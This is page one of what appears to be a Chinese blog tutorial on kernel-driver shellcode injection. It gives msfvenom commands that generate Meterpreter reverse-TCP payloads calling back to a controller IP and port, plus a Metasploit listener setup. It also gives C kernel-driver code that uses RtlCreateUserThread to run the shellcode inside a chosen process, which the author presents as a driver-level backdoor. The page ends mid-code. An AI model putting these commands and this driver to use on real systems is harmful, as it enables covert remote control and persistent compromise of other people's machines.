设为首页 加入收藏

TOP

驱动开发:内核ShellCode线程注入(一)
2023-07-23 13:27:41 】 浏览:69
Tags:内核 ShellCode 程注入

还记得《驱动开发:内核LoadLibrary实现DLL注入》中所使用的注入技术吗,我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入ShellCode代码实现反弹Shell,这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数,一个是StartAddress开始执行的内存块,另一个是StartParameter传入内存块的变量列表,而如果将StartParameter地址填充为NULL则表明不传递任何参数,也就是只在线程中执行ShellCode代码,利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。

  • 被控主机IP: 10.0.66.11
  • 控制主机IP: 10.0.66.22

为了能实现反弹后门的功能,我们首先需要使用Metasploit工具生成一段ShellCode代码片段,以32位为例,生成32为反弹代码。

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

生成ShellCode代码片段如下图所示;

其次服务端需要侦听特定端口,配置参数如下所示;

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

服务端执行后则会进入侦听等待阶段,输出效果图如下所示;

此时我们使用如下代码片段,并自行修改进程PID为指定目标进程,编译生成驱动程序;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// 定义函数指针
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
	IN HANDLE ProcessHandle,
	IN PSECURITY_DESCRIPTOR SecurityDescriptor,
	IN BOOLEAN CreateSuspended,
	IN ULONG StackZeroBits,
	IN OUT size_t StackReserved,
	IN OUT size_t StackCommit,
	IN PVOID StartAddress,
	IN PVOID StartParameter,
	OUT PHANDLE ThreadHandle,
	OUT PCLIENT_ID ClientID
);

// 远程线程注入函数
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	PEPROCESS pEProcess = NULL;
	KAPC_STATE ApcState = { 0 };

	PfnRtlCreateUserThread RtlCreateUserThread = NULL;
	HANDLE hThread = 0;

	__try
	{
		// 获取RtlCreateUserThread函数的内存地址
		UNICODE_STRING ustrRtlCreateUserThread;
		RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
		RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
		if (RtlCreateUserThread == NULL)
		{
			return FALSE;
		}

		// 根据进程PID获取进程EProcess结构
		status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		// 附加到目标进程内
		KeStackAttachProcess(pEProcess, &ApcState);

		// 验证进程是否可读写
		if (!MmIsAddressValid(pRing3Address))
		{
			return FALSE;
		}

		// 启动注入线程
		status = RtlCreateUserThread(ZwCurrentProcess(),
			NULL,
			FALSE,
			0,
			0,
			0,
			pRing3Address,
			NULL,
			&hThread,
			NULL);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		return TRUE;
	}

	__finally
	{
		// 释放对象
		if (pEProcess != NULL)
		{
			ObDereferenceObject(pEProcess);
			pEProcess = NULL;
		}

		// 取消附加进程
		KeUnstackDetachProcess(&ApcState);
	}

	return FALSE;
}

VOID Unload(PDRIVER_OBJECT pDriverObj)
{
	DbgPrint("[-] 驱动卸载 \n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
	DbgPrint("Hello LyShark.com \n");

	ULONG process_id = 5844;
	DWORD create_size = 1
首页 上一页 1 2 3 下一页 尾页 1/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇CMake个人理解和使用 下一篇vscode c/c++ MinGW/MSYS2 配置 |..

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目